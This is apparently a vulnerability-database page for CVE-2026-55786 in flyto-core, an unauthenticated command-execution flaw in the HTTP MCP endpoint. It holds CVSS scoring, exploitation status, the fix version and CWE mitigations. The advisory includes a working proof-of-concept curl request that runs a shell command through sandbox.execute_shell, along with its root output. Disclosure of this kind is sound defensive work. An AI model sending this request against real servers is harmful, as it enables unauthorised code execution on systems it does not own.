VulnerabilityPublished 6 Jul 2026Updated 14 Oct 2026

CVE-2026-55786: flyto-core has Unauthenticated Command Execution via HTTP MCP `execute_module`

Affects flyto-coreSource GCVE Database

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Authoritative record:CVE-2026-55786· High 8.4

Not known to be exploited · CVSS 8.4 High : upgrade to 2.26.4 soon.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

8.4High

How severe the flaw is on the 0–10 CVSS scale.

Thin evidence

One scorer or none

CVSS scores by source
CNA (GitHub_M)	CVSS 3.1	8.4

EPSS: 0.2% chance of exploitation in 30 days – higher than 17% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 2.26.4

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Local
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Local: The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., tricking a legitimate user into opening a malicious document).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 14 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade flyto-core to 2.26.4.

Affected software

Product	Affected	Fixed in
PyPIflyto-core	Affected >=2.26.2 <2.26.4	Fixed in 2.26.4

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Description

## Unauthenticated Command Execution via HTTP MCP `execute_module` ### Summary The HTTP MCP endpoint (`POST /mcp`) in flyto-core accepts unauthenticated JSON-RPC `tools/call` requests and dispatches them to arbitrary registered modules, including `sandbox.execute_shell`, which passes attacker-controlled input directly to `asyncio.create_subprocess_shell`. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to `127.0.0.1`, making this a High-severity local vulnerability (CVSS 8.4); if started with `--host 0.0.0.0`, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as `root` inside a Docker container without any `Authorization` header. ### Details flyto-core exposes an HTTP API via FastAPI. When the API is started (`flyto serve`), the MCP router is unconditionally mounted at `/mcp` (`src/core/api/server.py:75-78`). The route handler at `src/core/api/routes/mcp.py:65-66` declares `@router.post("")` with **no** `Depends(require_auth)` dependency, unlike the analogous REST execution routes (`src/core/api/routes/modules.py:93`) which enforce both authentication and a module denylist. The complete unauthenticated data flow from source to sink: 1. **`src/core/api/server.py:75-78`** — `mcp_router` is mounted under `/mcp` unconditionally at app creation. 2. **`src/core/api/routes/mcp.py:65-66`** — `@router.post("")` has no `Depends(require_auth)` guard; any HTTP client may POST to this route. 3. **`src/core/api/routes/mcp.py:79`** — the full request body (attacker-controlled JSON) is parsed without validation. 4. **`src/core/api/routes/mcp.py:103-104`** — each JSON-RPC item is forwarded to `handle_jsonrpc_request` without a `module_filter`. 5. **`src/core/mcp_handler.py:813-838`** — `tools/call` with name `execute_module` forwards attacker-controlled `module_id` and `params` to `execute_module()`. 6. **`src/core/mcp_handler.py:180`, `214-215`** — the module registry resolves `module_id` and invokes it with attacker-supplied `params`. 7. **`src/core/modules/registry/decorators.py:96-101`** — the function wrapper exposes `self.params` as `context['params']`. 8. **`src/core/modules/atomic/sandbox/execute_shell.py:137-139`** — `command` is read directly from `params` with no sanitization. 9. **`src/core/modules/atomic/sandbox/execute_shell.py:163-169`** — `command` reaches `asyncio.create_subprocess_shell` with `shell=True` and no allowlist or escaping. The `sandbox.execute_shell` module is not covered by the default denylist (`_DEFAULT_DENYLIST = ["shell.*", "process.*"]` at `src/core/api/security.py:126`), so even if `module_filter` were applied it would still be reachable. **Vulnerable code excerpts:** ```python # src/core/api/routes/mcp.py:65-66 — missing auth @router.post("") async def mcp_post(request: Request): ``` ```python # src/core/mcp_handler.py:832-838 — attacker-controlled dispatch elif tool_name == "execute_module": result = await execute_module( module_id=arguments.get("module_id", ""), params=arguments.get("params", {}), context=arguments.get("context"), browser_sessions=browser_sessions, ) ``` ```python # src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink params = context['params'] command = params.get('command', '') # ... only empty-command and cwd existence checks ... proc = await asyncio.create_subprocess_shell(command, ...) ``` **Contrast with the protected REST route:** ```python # src/core/api/routes/modules.py:93 — correctly guarded @router.post("/execute", dependencies=[Depends(require_auth)]) ``` The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it. ### PoC **Environment setup (Docker):** ```bash # Build the image (context: the report directory containing repo/ and vuln-001/) docker build \ -f vuln-001/Dockerfile \ -t flyto-vuln-001 \ reports/mcp_57_flytohub__flyto-core/ # Start the server (binds 0.0.0.0:8333 inside the container) docker run --rm -d \ -p 127.0.0.1:8333:8333 \ --name flyto-vuln-001-test \ flyto-vuln-001 ``` **Exploit (curl) — no Authorization header:** ```bash curl -sS http://127.0.0.1:8333/mcp \ -H 'Content-Type: application/json' \ -d '{ "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "execute_module", "arguments": { "module_id": "sandbox.execute_shell", "params": {"command": "id", "timeout": 5} } } }' ``` **Exploit (Python PoC script):** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 8333 --command id ``` **Observed response (dynamic reproduction, Phase 2):** ```json { "jsonrpc": "2.0", "id": 1, "result": { "structuredContent": { "ok": true, "data": { "stdout": "uid=0(root) gid=0(root) groups=0(root)\n", "stderr": "", "exit_code": 0,

CWE-306Missing Authentication for Critical Functionality (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #21OWASP Top 10 A07:2025: Authentication Failures (opens in a new tab)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
Architecture and Design
Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Architecture and Design
Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment.
OWASP Cheat Sheets
OWASP Authentication (opens in a new tab)
OWASP ASVS 4.0.3
V1.2.3 (opens in a new tab)
V1.2.2 (opens in a new tab)
V1.2.4 (opens in a new tab)
Attack patterns
Choosing Message Identifier (opens in a new tab)
Force the System to Reset Values (opens in a new tab)
Using Unpublished Interfaces or Functionality (opens in a new tab)
Cross Site Request Forgery (opens in a new tab)
Communication Channel Manipulation (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-78Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #9OWASP Top 10 A05:2025: Injection (opens in a new tab)
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component.
Architecture and Design
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Architecture and Design · Operation · Sandbox or Jail
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
Architecture and Design · Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
OWASP Cheat Sheets
Injection Prevention (opens in a new tab)
Injection Prevention in Java (opens in a new tab)
OS Command Injection Defense (opens in a new tab)
Abuse Case (opens in a new tab)
Deserialization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.5 (opens in a new tab)
V5.3.8 (opens in a new tab)
V1.5.1 (opens in a new tab)
Attack patterns
Command Line Execution through SQL Injection (opens in a new tab)
Command Delimiters (opens in a new tab)
Exploiting Multiple Input Interpretation Layers (opens in a new tab)
Argument Injection (opens in a new tab)
OS Command Injection (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-306, CWE-78

Technical details

References

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